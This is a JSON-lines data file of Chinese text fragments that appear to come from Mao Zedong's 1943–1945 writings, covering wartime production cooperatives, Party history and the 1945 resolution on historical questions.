    {"text": "”蒋介石先生既于这个宣言发表之第二日（九月二十三日）发表谈话，承认这个宣言的全部，就应该不但要求共产党实践这个宣言中的四条诺言，也应该要求蒋先生自己及国民党和国民党政府实践上述条文。 蒋先生现在不但是国民党的总裁，又当了国民党政府（这个政府以“国民政府”为表面名称）的主席，应该把上述民主民生的条文和一切蒋先生自己许给我们共产党人和全国人民的无数诺言，认真地实践起来，不要还是把任何诺言都抛到九霄云外，只是一味高压，讲的是一套，做的又是一套。"},
    {"text": "抗战到底，制止投降危险，继续合作，制止内战危机，承认边区和敌后各抗日根据地的民主政治，恢复新四军，制止反共运动，撤退包围陕甘宁边区的四五十万军队，不要再把国民参政会当作国民党制造反共舆论的御用机关，开放言论集会结社自由，废止国民党一党专政，减租减息，改善工人待遇，扶助中小工业，取消特务机关，取消特务教育，实行民主教育，这就是我们对蒋先生和国民党的要求。"},
    {"text": "但是走这个方向，在蒋先生和国民党今天尚无任何的事实表示，还不能使任何人相信，因此，全国人民仍然要警戒极端严重的投降危险和内战危险。"},
    {"text": "一切爱国的国民党人应该团结起来，不许国民党当局走第一个方向，不让它继续走第二个方向，要求它走第三个方向。 一切爱国的抗日党派、抗日人民应该团结起来，不许国民党当局走第一个方向，不让它继续走第二个方向，要求它走第三个方向。"},
    {"text": "前所未有的世界大变化的局面很快就要到来了，我们希望蒋介石先生和国民党人对于这样一个伟大的时代关节有以善处，我们希望一切爱国党派和爱国人民对于这样一个伟大的时代关节有以善处。"},
    {"text": "组织起来 组织起来 * （一九四三年十一月二十九日） 今天共产党中央招待陕甘宁边区从农民群众中、工厂中、部队中、机关学校中选举出来的男女劳动英雄，以及在生产中的模范工作者，我代表中央来讲几句话。"},
    {"text": "边区的农民群众和部队、机关、学校工、厂中的群众，根据去年冬天中共中央西北局所召集的高级干部会议的决议，今年进行了一年的生产运动。"},
    {"text": "高级干部会议方针的主要点，就是把群众组织起来，把一切老百姓的力量、一切部队机关学校的力量、一切男女老少的全劳动力半劳动力，只要是可能的，就要毫无例外地动员起来，组织起来，成为一支劳动大军。"},
    {"text": "我们有打仗的军队，又有劳动的军队。 打仗的军队，我们有八路军新四军； 这支军队也要当两支用，一方面打仗，一方面生产。 我们有了这两支军队，我们的军队有了这两套本领，再加上做群众工作一项本领，那末，我们就可以克服困难，把日本帝国主义打垮。"},
    {"text": "如果边区去年以前的生产运动的成绩还不够大，还不够显著，还不足以完全证明这一点，那末今年的成绩，就完全证明了这一点，这是大家亲眼看见了的。"},
    {"text": "边区的军队，今年凡有地的，做到每个战士平均种地十八亩，吃的菜、肉、油，穿的棉衣、毛衣、鞋袜，住的窑洞、房屋，开会的大小礼堂，日用的桌椅板凳、纸张笔墨，烧的柴火、木炭、石炭，差不多一切都可以自己造，自己办。"},
    {"text": "抗日战争六年半中，敌人在各抗日根据地内实行烧、杀、抢的“三光”政策，陕甘宁边区则遭受国民党的重重封锁，财政上经济上处于非常困难的地位，我们的军队如果只会打仗，那是不能解决问题的。"},
    {"text": "只要我们全体英勇善战的八路军新四军，人人个个不但会打仗，会作群众工作，又会生产，我们就不怕任何困难，就会是孟夫子说过的：“无敌于天下。"},
    {"text": "部队机关学校既然自己解决了全部或大部的物质问题，用税收方法从老百姓手中取给的部分就减少了，老百姓生产的结果归自己享受的部分就增多了。"},
    {"text": "那就是缺乏群众观点，不依靠群众，不组织群众，不注意把农村、部队、机关、学校、工厂的广大群众组织起来，而只注意组织财政机关、供给机关、贸易机关的一小部分人；"},
    {"text": "陕甘宁边区过去是存在过这种方针的，经过历年的指正，特别是经过去年的高级干部会议和今年的群众运动，大概现在还作这样错误想法的人是少了。"},
    {"text": "前方的生产，过去几年已经有了一些经验，加上今年冬天的思想准备、组织准备和物质准备，明年可能造成广大的运动，并且必须造成广大的运动。"},
    {"text": "我们部队机关学校的群众生产，虽不要硬安上合作社的名目，但是这种在集中领导下用互相帮助共同劳动的方法来解决各部门各单位各个人物质需要的群众的生产活动，是带有合作社性质的。"},
    {"text": "在农民群众方面，几千年来都是个体经济，一家一户就是一个生产单位，这种分散的个体生产，就是封建统治的经济基础，而使农民自己陷于永远的穷苦。"},
    {"text": "在边区，我们现在已经组织了许多的农民合作社，不过这些在目前还是一种初级形式的合作社，还要经过若干发展阶段，才会在将来发展为苏联式的被称为集体农庄的那种合作社。"},
    {"text": "一种是“变工队”、“扎工队”这一类的农业劳动互助组织 〔4〕 ，从前江西红色区域叫做劳动互助社，又叫耕田队 〔5〕 ，现在前方有些地方也叫互助社。 无论叫什么名称，无论每一单位的人数是几个人的，几十个人的，几百个人的，又无论单是由全劳动力组成的，或有半劳动力参加的，又无论实行互助的是人力、畜力、工具，或者在农忙时竟至集体吃饭住宿，也无论是临时性的，还是永久性的，总之，只要是群众自愿参加（决不能强迫）的集体互助组织，就是好的。"},
    {"text": "经过去年高级干部会议的提倡，今年一年的实行，边区的劳动互助就大为条理化和更加发展了。 今年边区有许多变工队，实行集体的耕种、锄草、收割，收成比去年多了一倍。"},
    {"text": "除了这种集体互助的农业生产合作社以外，还有三种形式的合作社，这就是延安南区合作社式的包括生产合作、消费合作、运输合作（运盐）、信用合作的综合性合作社，运输合作社（运盐队）以及手工业合作社。"},
    {"text": "我们的同志学会了组织群众的劳动，学会了帮助农民做按家生产计划，组织变工队，组织运盐队，组织综合性合作社，组织军队的生产，组织机关学校的生产，组织工厂的生产，组织生产竞赛，奖励劳动英雄，组织生产展览会，发动群众的创造力和积极性，加上旁的各项本领，我们就一定可以把日本帝国主义打出去，一定可以协同全国人民，把一个新国家建立起来。"},
    {"text": "我们应该走到群众中间去，向群众学习，把他们的经验综合起来，成为更好的有条理的道理和办法，然后再告诉群众（宣传），并号召群众实行起来，解决群众的问题，使群众得到解放和幸福。"},
    {"text": "如果我们做地方工作的同志脱离了群众，不了解群众的情绪，不能够帮助群众组织生产，改善生活，只知道向他们要救国公粮，而不知道首先用百分之九十的精力去帮助群众解决他们“救民私粮”的问题，然后仅仅用百分之十的精力就可以解决救国公粮的问题，那末，这就是沾染了国民党的作风，沾染了官僚主义的灰尘。"},
    {"text": "如果我们共产党员也是这样，那末，这种党员的作风就是国民党的作风，这种党员的脸上就堆上了一层官僚主义的灰尘，就得用一盆热水好好洗干净。"},
    {"text": "此外，在我们的军队工作中，还存在有一种军阀主义作风，这也是一种国民党的作风，因为国民党军队是脱离群众的。 我们的军队必须在军民关系上、军政关系上、军党关系上、官兵关系上、军事工作和政治工作关系上、干部相互关系上，遵守正确的原则，决不可犯军阀主义的毛病。"},
    {"text": "但是近年来确实生长了一种军阀主义的毛病，一部分军队工作同志养成了一种骄气，对士兵，对人民，对政府，对党，横蛮不讲理，只责备做地方工作的同志，不责备自己，只看见成绩，不看见缺点，只爱听恭维话，不爱听批评话。"},
    {"text": "经过去年的高级干部会议和军政干部会，又经过今年春节的拥政爱民运动和拥军运动，这个倾向是根本地克服下去了，还有一些残余，还必须继续去克服。"},
    {"text": "如果在地方工作中不批评官僚主义倾向，在军队工作中不批评军阀主义倾向，那就是愿意保存国民党作风，愿意保存官僚主义灰尘和军阀主义灰尘在自己清洁的脸上，那就不是一个好党员。"},
    {"text": "我们边区的生产，无论在农民群众方面、机关学校方面、军队方面、工厂方面，都得到了很大的成绩，在军民关系上也有了很大进步，边区的面目，和以前大不相同了。"},
    {"text": "我们是处在日本帝国主义和中国反动势力的层层包围之中，我们是处在散漫的小资产阶级的包围之中，极端恶浊的官僚主义灰尘和军阀主义灰尘天天都向我们的脸上大批地扑来。"},
    {"text": "我希望你们回到关中去，回到陇东去，回到三边去，回到绥德去，回到延属各县去，回到机关学校部队工厂去，领导人民，领导群众，把工作做得更好，首先是按自愿的原则把群众组织到合作社里来，组织得更多，更好。"},
    {"text": "“变工”即换工，是农民相互间调剂劳动力的方法，有人工换人工、畜工换畜工、人工换畜工等等。 参加变工队的农民，各以自己的劳动力或者畜力，轮流地给本队各家耕种。"},
    {"text": "中央认为应使干部对于党内历史问题在思想上完全弄清楚，同时对于历史上犯过错误的同志在作结论时应取宽大的方针，以便一方面，彻底了解我党历史经验，避免重犯错误；"},
    {"text": "但其方法有缺点：一方面，没有使干部在思想上彻底了解当时错误的原因、环境和改正此种错误的详细办法，以致后来又可能重犯同类性质的错误；"},
    {"text": "这次处理历史问题，不应着重于一些个别同志的责任方面，而应着重于当时环境的分析，当时错误的内容，当时错误的社会根源、历史根源和思想根源，实行惩前毖后、治病救人的方针，借以达到既要弄清思想又要团结同志这样两个目的。"},
    {"text": "例如对于四中全会 〔3〕 至遵义会议 〔4〕 时期中央的领导路线问题，应作两方面的分析：一方面，应指出那个时期中央领导机关所采取的政治策略、军事策略和干部政策在其主要方面都是错误的；"},
    {"text": "例如在土地问题上，当时的错误是实行了地主不分田、富农分坏田的过左政策，但在没收地主土地分给无地和少地的农民这一点上，则是和我们一致的。"},
    {"text": "我们许多同志缺乏分析的头脑，对于复杂事物，不愿作反复深入的分析研究，而爱作绝对肯定或绝对否定的简单结论。 我们报纸上分析文章的缺乏，党内分析习惯的还没有完全养成，都表示这个毛病的存在。"},
    {"text": "应该指出，第六次全国代表大会的路线是基本上正确的，因为它确定了现时革命的资产阶级民主主义性质，确定了当时形势是处在两个革命高潮之间，批判了机会主义和盲动主义，发布了十大纲领 〔7〕 等，这些都是正确的。"},
    {"text": "第六次全国代表大会亦有缺点，例如没有指出中国革命的极大的长期性和农村根据地在中国革命中的极大的重要性，以及还有其他若干缺点或错误。"},
    {"text": "但是如果以为经过一九三五年一月的遵义会议，一九三八年十月的第六届中央委员会第六次全体会议 〔9〕 ，一九四一年九月的政治局扩大会议 〔10〕 ，一九四二年的全党整风和一九四三年冬季开始的对于党内历史上两条路线斗争的学习 〔11〕 ，这样许多次党内斗争的变化之后，还有具备原来的错误的政治纲领和组织形态的那种宗派存在，则是不对的。"},
    {"text": "例如由于斗争历史不同、工作地域不同（这一根据地和那一根据地的不同，敌占区、国民党统治区和革命根据地的不同）和工作部门不同（这一部分军队和那一部分军队的不同，这一种工作和那一种工作的不同）而产生的各部分同志间互相不了解、不尊重、不团结的现象，看来好似平常，实则严重地妨碍着党的统一和妨碍着党的战斗力的增强。"},
    {"text": "指出这些原因，说服同志们去掉盲目性，增加自觉性，打通同志间的思想，提倡同志间的互相了解、互相尊重，以实现全党大团结，是我们当前的重要任务。"},
    {"text": "在此阶段的头两年内，即在一九三七年和一九三八年，日本军阀重视国民党，轻视共产党，故用其主要力量向国民党战线进攻，对它采取以军事打击为主、以政治诱降为辅的政策，而对共产党领导的抗日根据地则不重视，以为不过是少数共产党人在那里打些游击仗罢了。 但是自一九三八年十月日本帝国主义者占领武汉以后，他们即已开始改变这个政策，改为重视共产党，轻视国民党；"},
    {"text": "国民党在一九三七年和一九三八年内，抗战是比较努力的，同我党的关系也比较好，对于人民抗日运动虽有许多限制，但也允许有较多的自由。 自从武汉失守以后，由于战争失败和仇视共产党这种情绪的发展，国民党就逐渐反动，反共活动逐渐积极，对日抗战逐渐消极。"},
    {"text": "几年内，我党开辟了一个广大的解放区战场，以至于能够停止日寇主力向国民党战场作战略进攻至五年半之久，将日军主力吸引到自己周围，挽救了国民党战场的危机，支持了长期的抗战。 但在此阶段内，我党一部分同志，犯了一种错误，这种错误就是轻视日本帝国主义（因此不注意战争的长期性和残酷性，主张以大兵团的运动战为主，而轻视游击战争），依赖国民党，缺乏清醒的头脑和缺乏独立的政策（因此产生对国民党的投降主义，对于放手发动群众建立敌后抗日民主根据地和大量扩大我党领导的军队等项政策，发生了动摇）。"},
    {"text": "在这一阶段内，我们曾经克服了党内的右倾偏向，执行了独立政策，不但打击了日本帝国主义，创立了根据地，发展了八路军新四军，而且打退了国民党的第一次反共高潮。"},
    {"text": "日本帝国主义者为准备和执行反英美的战争，将他们在武汉失守以后已经改变了的方针，即由对国民党为主的方针改为对共产党为主的方针，更加强调起来，更加集中其主力于共产党领导的一切根据地的周围，进行连续的“扫荡”战争，实行残酷的“三光”政策 〔14〕 ，着重地打击我党，致使我党在一九四一年和一九四二年这两年内处于极端困难的地位。"},
    {"text": "我们学会了或开始学会了统一战线政权的“三三制” 〔17〕 政策、土地政策、整顿三风、精兵简政 〔18〕 、统一领导、拥政爱民、发展生产等项工作，克服了许多缺点，并且把第一阶段内许多人自以为了不得的那股骄气也克服下去了。"},
    {"text": "因为国民党的反共和我们不得不同国民党的反共政策作自卫斗争的这些情况，党内又生长了一种过左的偏向，例如以为国共合作就要破裂，因而过分地打击地主，不注意团结党外人士等。"},
    {"text": "我们指出了在反磨擦斗争中的有理有利有节的原则，指出了在统一战线中又团结又斗争和以斗争求团结的必要，保持了国内和根据地内的抗日民族统一战线。"},
    {"text": "我们的各项政策更为见效，特别是整顿三风和发展生产这样两项工作，发生了根本性质的效果，使我党在思想基础和物质基础两方面，立于不败之地。"},
    {"text": "在这种情形下，我们根据地的面积又扩大了，根据地的人口，包括一面负担和两面负担的，又已上升到八千余万，军队又有了四十七万，民兵二百二十七万，党员发展到了九十多万。"},
    {"text": "三年多以来，国民党留在敌后的数十万军队经不起日本帝国主义的打击，约有一半投降了敌人，约有一半被敌人消灭，残存的和撤走的为数极少。"},
    {"text": "从一九三八年十月武汉失守起，整整五年半时间，日本军阀没有举行过对国民党战场的战略进攻，只有几次较大的战役行动（浙赣、长沙、鄂西、豫南、常德），也是早出晚归，而集中其主要注意力于我党领导的抗日根据地。"},
    {"text": "自武汉失守以来的五年半中，共产党领导的解放区战场担负了抗击日伪主力的重担，这在今后虽然可能发生某些变化，但这种变化也只能是暂时的，因为国民党在五年半以来消极抗日、积极反共的反动政策下所养成的极端腐化状态，今后必将遭到严重的挫败，到了那时，我党抗击敌伪的任务又将加重了。"},
    {"text": "我党抗击了日寇的残酷进攻，建立了广大的革命根据地，大大地发展了党和军队，打退了国民党的三次大规模的反共高潮，克服了党内发生的右的和“左”的错误思想，全党学得了许多可宝贵的经验。"},
    {"text": "为使我党能够担负这种责任，就要使我党我军和我们的根据地更加发展和更加巩固起来，就要注意大城市和交通要道的工作，要把城市工作和根据地工作提到同等重要的地位。"},
    {"text": "今后的问题就是在继续抗战中使我党我军和我们的根据地更加发展和更加巩固，这就是为着将来担负巨大工作的第一个必要的思想准备和物质准备。"},
    {"text": "如果现在我们还不争取在大城市和交通要道中被日本帝国主义压迫的千百万劳动群众和市民群众围绕在我党的周围，并准备群众的武装起义，我们的军队和农村根据地就会得不到城市的配合而遇到种种困难。"},
    {"text": "注 释 * 中国共产党中央领导机关和高级干部在一九四一年到一九四四年间，对于党的历史特别是党在一九三一年初到一九三四年底这个时期的历史所进行的讨论，大大地帮助了党内思想在马克思列宁主义基础上的统一。 一九三五年一月中共中央在贵州省遵义城所召集的扩大的政治局会议虽然纠正了从一九三一年初到一九三四年底的“左”倾错误路线，改变了中共中央的领导机关的成分，确立了以毛泽东为代表的领导，把党的路线转到马克思列宁主义的正确轨道上，但是在党的很多干部中间，对于过去的错误路线的性质却没有作过彻底的清算。 为着进一步地提高党的干部的马克思列宁主义思想，中共中央政治局在一九四一年到一九四三年这个时间内，曾经几次进行了关于党的历史的讨论；"},
    {"text": "关于中共中央对于一九三一年初到一九三四年底的“左”倾机会主义路线的错误所作的详细结论，参看本篇附录中国共产党第六届中央委员会扩大的第七次全体会议通过的《关于若干历史问题的决议》。"},
    {"text": "陈绍禹等人在共产国际及其代表米夫的支持下，通过这次会议取得了在中共中央的领导地位，开始了长达四年之久的“左”倾冒险主义在党内的统治。"},
    {"text": "〔4〕 见本书第一卷《中国革命战争的战略问题》注〔7〕。 〔5〕 见本书第一卷《中国革命战争的战略问题》注〔11〕。 〔6〕 见本书第一卷《星星之火，可以燎原》注〔11〕。 〔7〕 参见本书第一卷《论反对日本帝国主义的策略》注〔32〕。"},
    {"text": "会上，毛泽东作了《论新阶段》的政治报告和会议结论，要求全党同志认真地负起领导抗日战争的重大历史责任。 全会坚持抗日民族统一战线的政策，批判了关于统一战线问题上的右倾投降主义错误，确立了全党独立自主地领导抗日武装斗争的方针，把党的主要工作方面放在战区和敌后。"},
    {"text": "主要内容是：反对主观主义以整顿学风，反对宗派主义以整顿党风，反对党八股以整顿文风。 一九四三年十月，中共中央决定党的高级干部重新学习和研究党的历史和路线是非问题，使整风运动进入总结提高的阶段。"},
    {"text": "〔13〕 这里所说的一面负担粮税的地区，是指根据地的比较巩固的地区，那里的人民只向抗日民主政府负担粮税； 两面负担粮税的地区，是指根据地的边缘地区和游击区，在那些地区因为敌人可以经常来骚扰，人民除向抗日民主政府负担粮税外，还经常被迫向敌伪政权缴纳一些粮税。"},
    {"text": "〔15〕 日本侵略军在其妄想迅速“鲸吞”抗日根据地的计划破产后，于一九四一年初开始实行“蚕食”政策，即依托其所占领的交通线和据点，从抗日根据地边缘逐渐向内推进；"},
    {"text": "或以“扫荡”为先导，深入抗日根据地内建立据点，并由这些据点逐步向外扩张。 日本侵略军企图以长期的、逐步的、稳扎稳打的办法，达到缩小抗日根据地、扩大其占领区的目的。"},
    {"text": "〔16〕 自一九四一年春至一九四二年冬，日本侵略军在华北地区连续进行了五次“治安强化”运动，对抗日根据地加紧军事“扫荡”和经济封锁；"},
    {"text": "国民党军蒋鼎文、汤恩伯、胡宗南部约四十万人，在日本侵略军的进攻面前望风而逃，郑州、洛阳等三十八个县市相继陷落，汤恩伯部损失了二十多万人。"},
    {"text": "这次战争从五月正式开始，至十月基本上结束，历时半年，战区在河南、山东、安徽等省的陇海、津浦、平汉各铁路沿线，双方共死伤三十万人以上。"},
    {"text": "该文作于一九四四年，纪念明朝末年李自成领导的农民起义军进入北京推翻明王朝三百周年。 文中说明一六四四年李自成的农民起义军进入北京以后，它的一些首领因为胜利而骄傲起来，生活腐化，进行宗派斗争，以致这次起义在一六四五年陷于失败。"},
    {"text": "附录：关于若干历史问题的决议 附录：关于若干历史问题的决议 （一九四五年四月二十日中国共产党第六届 中央委员会扩大的第七次全体会议通过） （一） 中国共产党自一九二一年产生以来，就以马克思列宁主义的普遍真理和中国革命的具体实践相结合为自己一切工作的指针，毛泽东同志关于中国革命的理论和实践便是此种结合的代表。"},
    {"text": "在为实现新民主主义而进行的二十四年（一九二一年至一九四五年）的奋斗中，在第一次大革命、土地革命和抗日战争的三个历史时期中，我们党始终一贯地领导了广大的中国人民，向中国人民的敌人——帝国主义和封建主义，进行了艰苦卓绝的革命斗争，取得了伟大的成绩和丰富的经验。"},
    {"text": "毛泽东同志代表中国无产阶级和中国人民，将人类最高智慧——马克思列宁主义的科学理论，创造地应用于中国这样的以农民为主要群众、以反帝反封建为直接任务而又地广人众、情况极复杂、斗争极困难的半封建半殖民地的大国，光辉地发展了列宁斯大林关于殖民地半殖民地问题的学说和斯大林关于中国革命问题的学说。 由于坚持了正确的马克思列宁主义的路线，并向一切与之相反的错误思想作了胜利的斗争，党才在三个时期中取得了伟大的成绩，达到了今天这样在思想上、政治上、组织上的空前的巩固和统一，发展为今天这样强大的革命力量，有了一百二十余万党员，领导了拥有近一万万人民、近一百万军队的中国解放区，形成为全国人民抗日战争和解放事业的伟大的重心。 （二） 在中国新民主主义革命的第一个时期中，在一九二一年至一九二七年，特别是在一九二四年至一九二七年，中国人民的反帝反封建的大革命，曾经在共产国际的正确指导之下，在中国共产党的正确领导的影响、推动和组织之下，得到了迅速的发展和伟大的胜利。 中国共产党的全体同志，在这次大革命中，进行了轰轰烈烈的革命工作，发展了全国的工人运动、青年运动和农民运动，推进并帮助了国民党的改组和国民革命军的建立，形成了东征和北伐的政治上的骨干，领导了全国反帝反封建的伟大斗争，在中国革命史上写下了极光荣的一章。 但是，由于当时的同盟者国民党内的反动集团在一九二七年叛变了这个革命，由于当时帝国主义和国民党反动集团的联合力量过于强大，特别是由于在这次革命的最后一个时期内（约有半年时间），党内以陈独秀为代表的右倾思想，发展为投降主义路线，在党的领导机关中占了统治地位，拒绝执行共产国际和斯大林同志的许多英明指示，拒绝接受毛泽东同志和其他同志的正确意见，以至于当国民党叛变革命，向人民突然袭击的时候，党和人民不能组织有效的抵抗，这次革命终于失败了。 从一九二七年革命失败至一九三七年抗日战争爆发的十年间，中国共产党，并且只有中国共产党，在反革命的极端恐怖的统治下，全党团结一致地继续高举着反帝反封建的大旗，领导广大的工人、农民、士兵、革命知识分子和其他革命群众，作了政治上、军事上和思想上的伟大战斗。 在这个战斗中，中国共产党创造了红军，建立了工农兵代表会议的政府，建立了革命根据地，分配了土地给贫苦的农民，抗击了当时国民党反动政府的进攻和一九三一年“九一八”以来的日本帝国主义的侵略，使中国人民的新民主主义的民族解放和社会解放的事业，取得了伟大的成绩。 全党对于企图分裂党和实行叛党的托洛茨基陈独秀派 〔1〕 和罗章龙 〔2〕 、张国焘 〔3〕 等的反革命行为，也同样团结一致地进行了斗争，使党保证了在马克思列宁主义总原则下的统一。"},
    {"text": "无数党员、无数人民和很多党外革命家，当时在各个战线上轰轰烈烈地进行革命斗争，他们的奋斗牺牲、不屈不挠、前仆后继的精神和功绩，在民族的历史上永垂不朽。"},
    {"text": "尤其值得我们庆幸的是，我们党以毛泽东同志为代表，创造性地把马克思、恩格斯、列宁、斯大林的革命学说应用于中国条件的工作，在这十年内有了很大的发展。"},
    {"text": "其中以从党的一九三一年一月第六届中央委员会第四次全体会议（六届四中全会）到一九三五年一月扩大的中央政治局会议（遵义会议）这个时期内所犯政治路线、军事路线和组织路线上的“左”倾错误，最为严重。"},
    {"text": "为了学习中国革命的历史教训，以便“惩前毖后，治病救人”，使“前车之覆”成为“后车之鉴”，在马克思列宁主义思想一致的基础上，团结全党同志如同一个和睦的家庭一样，如同一块坚固的钢铁一样，为着获得抗日战争的彻底胜利和中国人民的完全解放而奋斗，中国共产党第六届中央委员会扩大的第七次全体会议（扩大的六届七中全会）认为：对于这十年内若干党内历史问题，尤其是六届四中全会至遵义会议期间中央的领导路线问题，作出正式的结论，是有益的和必要的。"},
    {"text": "他们采取了反动的托洛茨基主义立场，认为一九二七年革命后中国资产阶级对于帝国主义和封建势力已经取得了胜利，它对于人民的统治已趋稳定，中国社会已经是所谓资本主义占优势并将得到和平发展的社会；"},
    {"text": "因此他们武断地说中国资产阶级民主革命已经完结，中国无产阶级只有待到将来再去举行“社会主义革命”，在当时就只能进行所谓以“国民会议”为中心口号的合法运动，而取消革命运动；"},
    {"text": "他们不但不肯接受党的意见，放弃这种机会主义的取消主义的反党观点，而且还同反动的托洛茨基分子相结合，成立了反党的小组织，因而不得不被驱逐出党，接着并堕落为反革命。"},
    {"text": "另一方面，由于对国民党屠杀政策的仇恨和对陈独秀投降主义的愤怒而加强起来的小资产阶级革命急性病，也反映到党内，使党内的“左”倾情绪也很快地发展起来了。"},
    {"text": "它在中国革命的危急关头坚决地纠正了和结束了陈独秀的投降主义，确定了土地革命和武装反抗国民党反动派屠杀政策的总方针，号召党和人民群众继续革命的战斗，这些都是正确的，是它的主要方面。"},
    {"text": "它在政治上不认识当时应当根据各地不同情况，组织正确的反攻或必要的策略上的退却，借以有计划地保存革命阵地和收集革命力量，反而容许了和助长了冒险主义和命令主义（特别是强迫工人罢工）的倾向。"},
    {"text": "它在组织上开始了宗派主义的过火的党内斗争，过分地或不适当地强调了领导干部的单纯的工人成分的意义，并造成了党内相当严重的极端民主化状态。"},
    {"text": "这种“左”倾情绪在八七会议后继续生长，到了一九二七年十一月党中央的扩大会议，就形成为“左”倾的盲动主义（即冒险主义）路线，并使“左”倾路线第一次在党中央的领导机关内取得了统治地位。 这时的盲动主义者认为，中国革命的性质是所谓“不断革命”（混淆民主革命和社会主义革命），中国革命的形势是所谓“不断高涨”（否认一九二七年革命的失败），因而他们仍然不但不去组织有秩序的退却，反而不顾敌人的强大和革命失败后的群众情况，命令少数党员和少数群众在全国组织毫无胜利希望的地方起义。"},
    {"text": "但是由于这个错误路线一开始就引起了毛泽东同志和在白色区域工作的许多同志的正确的批评和非难，并在实际工作中招致了许多损失，到了一九二八年初，这个“左”倾路线的执行在许多地方已经停止，而到同年四月（距“左”倾路线的开始不到半年时间），就在全国范围的实际工作中基本上结束了。"},
    {"text": "它正确地肯定了中国社会是半殖民地半封建社会，指出了引起现代中国革命的基本矛盾一个也没有解决，因此确定了中国现阶段的革命依然是资产阶级民主革命，并发布了民主革命的十大纲领 〔4〕 。"},
    {"text": "它正确地指出了当时的政治形势是在两个革命高潮之间，指出了革命发展的不平衡，指出了党在当时的总任务不是进攻，不是组织起义，而是争取群众。"},
    {"text": "它进行了两条战线的斗争，批判了右的陈独秀主义和“左”的盲动主义，特别指出了党内最主要的危险倾向是脱离群众的盲动主义、军事冒险主义和命令主义。"},
    {"text": "这些缺点和错误，虽然使得八七会议以来的“左”倾思想未能根本肃清，并被后来的“左”倾思想所片面发展和极端扩大，但仍然不足以掩盖第六次大会的主要方面的正确性。"},
    {"text": "毛泽东同志在这个时期内，不但在实践上发展了第六次大会路线的正确方面，并正确地解决了许多为这次大会所不曾解决或不曾正确地解决的问题，而且在理论上更具体地和更完满地给了中国革命的方向以马克思列宁主义的科学根据。"},
    {"text": "但是，在一九二九年下半年至一九三〇年上半年间，还在党内存在着的若干“左”倾思想和“左”倾政策，又有了某些发展。 在这个基础上，遇着时局的对革命有利的变动，便发展成为第二次的“左”倾路线。 在一九三〇年五月蒋冯阎战争爆发后的国内形势的刺激下，党中央政治局由李立三同志领导，在六月十一日通过了“左”倾的《新的革命高潮与一省或数省的首先胜利》决议案，使“左”倾路线第二次统治了中央的领导机关。 产生这次错误路线（李立三路线）的原因，是由于李立三同志等不承认革命需要主观组织力量的充分准备，认为“群众只要大干，不要小干”，因而认为当时不断的军阀战争，加上红军运动的初步发展和白区工作的初步恢复，就已经是具备了可以在全国“大干”（武装起义）的条件； 由于他们不承认中国革命的不平衡性，认为革命危机在全国各地都有同样的生长，全国各地都要准备马上起义，中心城市尤其要首先发动以形成全国革命高潮的中心，并污蔑毛泽东同志在长期中用主要力量去创造农村根据地，以农村来包围城市，以根据地来推动全国革命高潮的思想，是所谓“极端错误的”“农民意识的地方观念与保守观念”； 由于他们不承认世界革命的不平衡性，认为中国革命的总爆发必将引起世界革命的总爆发，而中国革命又必须在世界革命的总爆发中才能成功； 由于他们不承认中国资产阶级民主革命的长期性，认为一省数省首先胜利的开始即是向社会主义革命转变的开始，并因此规定了若干不适时宜的“左”倾政策。"},
    {"text": "在这些错误决定的形成和执行过程中，立三同志拒绝了许多同志的正确的批评和建议，并在党内强调地反对所谓“右倾”，在反“右倾”的口号下错误地打击了党内不同意他的主张的干部，因而又发展了党内的宗派主义。"},
    {"text": "特别是毛泽东同志，他不但始终没有赞成立三路线，而且以极大的忍耐心纠正了红一方面军中的“左”倾错误 〔5〕 ，因而使江西革命根据地的红军在这个时期内不但没有受到损失，反而利用了当时蒋冯阎战争的有利形势而得到了发展，并在一九三〇年底至一九三一年初胜利地粉碎了敌人的第一次“围剿”。"},
    {"text": "一九三〇年九月党的第六届中央委员会第三次全体会议（六届三中全会）及其后的中央，对于立三路线的停止执行是起了积极作用的。 虽然六届三中全会的文件还表现了对立三路线调和妥协的精神（如否认它是路线错误，说它只是“策略上的错误”等），虽然六届三中全会在组织上还继续着宗派主义的错误，但是六届三中全会既然纠正了立三路线对于中国革命形势的极左估计，停止了组织全国总起义和集中全国红军进攻中心城市的计划，恢复了党、团、工会的独立组织和经常工作，因而它就结束了作为立三路线主要特征的那些错误。"},
    {"text": "六届三中全会后的中央，又在同年十一月的补充决议和十二月的第九十六号通告中，进一步地指出了立三同志等的路线错误和六届三中全会的调和错误。 当然，无论六届三中全会或其后的中央，对于立三路线的思想实质，都没有加以清算和纠正，因此一九二七年八七会议以来特别是一九二九年以来一直存在于党内的若干“左”倾思想和“左”倾政策，在六届三中全会上和六届三中全会后还是浓厚地存在着。 但是六届三中全会及其后的中央既然对于停止立三路线作了上述有积极作用的措施，当时全党同志就应该在这些措施的基础上继续努力，以求反“左”倾错误的贯彻。 但在这时，党内一部分没有实际革命斗争经验的犯“左”倾教条主义错误的同志，在陈绍禹（王明）同志的领导之下，却又在“反对立三路线”、“反对调和路线”的旗帜之下，以一种比立三路线更强烈的宗派主义的立场，起来反抗六届三中全会后的中央了。 他们的斗争，并不是在帮助当时的中央彻底清算立三路线的思想实质，以及党内从八七会议以来特别是一九二九年以来就存在着而没有受到清算的若干“左”倾思想和“左”倾政策； 在当时发表的陈绍禹同志的《两条路线》即《为中共更加布尔什维克化而斗争》的小册子中，实际上是提出了一个在新的形态下，继续、恢复或发展立三路线和其他“左”倾思想“左”倾政策的新的政治纲领。"},
    {"text": "陈绍禹同志领导的新的“左”倾路线虽然也批评了立三路线的“左”倾错误和六届三中全会的调和错误，但是它的特点，是它主要地反而批评了立三路线的“右”，是它指责六届三中全会“对立三路线的一贯右倾机会主义的理论与实际，未加以丝毫揭破和打击”，指责第九十六号通告没有看出“右倾依然是目前党内主要危险”。"},
    {"text": "新的“左”倾路线在中国社会性质、阶级关系的问题上，夸大资本主义在中国经济中的比重，夸大中国现阶段革命中反资产阶级斗争、反富农斗争和所谓“社会主义革命成分”的意义，否认中间营垒和第三派的存在。"},
    {"text": "在革命形势和党的任务问题上，它继续强调全国性的“革命高潮”和党在全国范围的“进攻路线”，认为所谓“直接革命形势”很快地即将包括一个或几个有中心城市在内的主要省份。"},
